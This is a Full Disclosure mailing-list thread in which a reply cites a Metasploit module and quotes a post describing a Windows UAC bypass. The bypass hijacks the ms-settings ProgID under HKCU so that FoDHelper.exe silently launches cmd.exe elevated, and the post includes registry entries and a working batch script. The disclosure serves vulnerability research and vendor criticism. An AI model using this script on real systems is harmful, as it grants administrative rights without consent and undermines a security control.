Message-ID: <85bed8b9-6bdb-47cc-a7b5-f881debc4450@Seils.info>
Date: Fri, 17 Mar 2023 08:18:03 +0100 (GMT+01:00)
From: Arik Seils <Arik@...ls.info>
To: Stefan Kanthak <stefan.kanthak@...go.de>
Cc: fulldisclosure@...lists.org, bugtraq@...urityfocus.com
Subject: Re: [FD] Defense in depth -- the Microsoft way (part 83): instead
 to	fix even their most stupid mistaskes,
 they spill barrels of snakeoil to cover them (or just leave them	as-is)

Hi there,

One can use the Metasploit Framework Module post/windows/local/bypassua _fodhelper to achieve this.

Greetings from Germany,

A.Seils

17.03.2023 06:26:56 Stefan Kanthak <stefan.kanthak@...go.de>:

> Hi @ll,
> 
> with Windows 2000, Microsoft virtualised the [HKEY_CLASSES_ROOT] registry
> branch: what was just an alias for [HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
> before became the overlay of [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] and
> [HKEY_CURRENT_USER\Software\Classes] with the latter having precedence:
> <https://msdn.microsoft.com/en-us/library/ms724498.aspx>
> 
> Note: while [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] is writable only by
>       (privileged) administrators, [HKEY_CURRENT_USER\Software\Classes]
>       is writable by the (current) unprivileged user.
> 
> With Windows Vista they introduced the "security theatre" called
> "User Account Control" (a far better name is "qUACkery"):
> 
> <https://blogs.msdn.microsoft.com/uac/2005/12/08/user-account-control/>
> 
> | User Account Protection was the preliminary name for a core security
> | component of Windows Vista. The component has now been officially named
> | User Account Control (UAC).
> 
> The qUACkery sort of lobotomises administrator accounts and splits their
> brain^Waccess token: the "shell", i.e. EXPLORER.exe, and all programs run
> from it use a restricted access token without administrative privileges.
> For the (not so few) programs which but need administrative privileges,
> Microsoft introduced a "kill switch" in the application manifest:
> 
> <https://msdn.microsoft.com/en-us/library/aa374191.aspx>
> <https://msdn.microsoft.com/en-us/library/bb756929.aspx>
> 
> | <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
> |    <security>
> |       <requestedPrivileges>
> |          <requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
> |       </requestedPrivileges>
> |    </security>
> | </trustInfo>
> 
> With this loop^Wwormhole, the virtualised [HKEY_CLASSES_ROOT] introduced
> with Windows 2000 became but a can of worms: in STANDARD installations of
> Windows, applications running with administrative privileges, i.e. an
> integrity level above "Medium", now evaluate registry settings (COM CLSIDs,
> ProgIDs, URL protocols, ...) which are under control of the unprivileged
> user.
> 
> <https://msdn.microsoft.com/en-us/library/ms724498.aspx>
> 
> | If an application is run with administrator rights and User Account
> | Control is disabled, the COM runtime ignores per-user COM configuration
> | and accesses only per-machine COM configuration.
> 
> <https://msdn.microsoft.com/en-us/library/bb756926.aspx>
> 
> | Beginning with Windows Vista® and Windows Server® 2008, if the
> | integrity level of a process is higher than Medium, the COM runtime
> | ignores per-user COM configuration and accesses only per-machine
> | COM configuration. This action reduces the surface area for elevation
> | of privilege attacks, preventing a process with standard user privileges
> | from configuring a COM object with arbitrary code and having this code
> | called from an elevated process.
> 
> OOPS: COM CLSIDs have been removed from the can of worms.
> 
> But what about ProgIDs and URL protocols?
> <https://msdn.microsoft.com/en-us/library/cc144152.aspx>
> 
> Demonstration:
> ~~~~~~~~~~~~~~
> 
> 1) Start the command processor in the user account created during
>    Windows setup;
> 
> 2) Execute the "Feature on Demand" helper application FoDHelper.exe
>    (which requires administrative privileges, but elevates SILENTLY),
>    then close the "Immersive Control Panel" window it opened;
> 
> 3) Add the following registry entries to replace the application run
>    by the elevated FoDHelper.exe from "Immersive Control Panel" to
>    "Windows Command Processor" (or an arbitrary other one):
> 
>    [HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command]
>    @="C:\\Windows\\System32\\Cmd.exe"
> 
>    [HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer]
>    @="qUACkery"
> 
> 4) Execute FoDHelper.exe again;
> 
> 5) Remove the registry entries created in step 3.
> 
> 
> If you prefer a batch script:
> 
> --- quackery.cmd
> REG.exe ADD "HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command" /VE /T REG_SZ /D "%COMSPEC%" /F
> REG.exe ADD "HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer" /VE /T REG_SZ /D "qUACkery" /F
> FoDHelper.exe
> REG.exe DELETE "HKEY_CURRENT_USER\Software\Classes\MS-Settings" /F
> REG.exe DELETE "HKEY_CURRENT_USER\Software\Classes\qUACkery" /F
> --- EOF ---
> 
> 
> OOPS: Windows Defender blocks the execution of FoDHelper.exe
> 
> 
> Spoiler: installation of another anti-virus, for example McAfee,
>          Bitdefender, Eset, Sophos, Avira, AVG/Avast, TrendMicro,
>          deactivates Windows Defender and lets FoDHelper.com run
>          an arbitrary application elevated, without UAC prompt.
> 
> 
> stay tuned, and far away from the eternally vulnerable crap oozing out of Redmond
> Stefan Kanthak
> 
> PS: finding the applications which call the ProgIDs/URL protocols
>     ms-settings-airplanemode, ms-settings-bluetooth, ms-settings-cellular,
>     ms-settings-connectabledevices, ms-settings-displays-topology,
>     ms-settings-emailandaccounts, ms-settings-language, ms-settings-location,
>     ms-settings-lock, ms-settings-mobilehotspot, ms-settings-notifications,
>     ms-settings-power, ms-settings-privacy, ms-settings-proximity,
>     ms-settings-screenrotation, ms-settings-wifi, ms-settings-workplace
>     is left as an exercise to the reader.
> 
> PPS: for all these URL protocols, the wise guys from Redmond added the
>      following registry entries to ease their exploitation:
> 
>      [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ProtocolExecute\ms-settings]
>      "WarnOnOpen"=dword:00000000
>      ...
>      [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ProtocolExecute\ms-settings-workplace]
>      "WarnOnOpen"=dword:00000000
> 
> _______________________________________________
> Sent through the Full Disclosure mailing list
> https://nmap.org/mailman/listinfo/fulldisclosure
> Web Archives & RSS: https://seclists.org/fulldisclosure/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Powered by blists - more mailing lists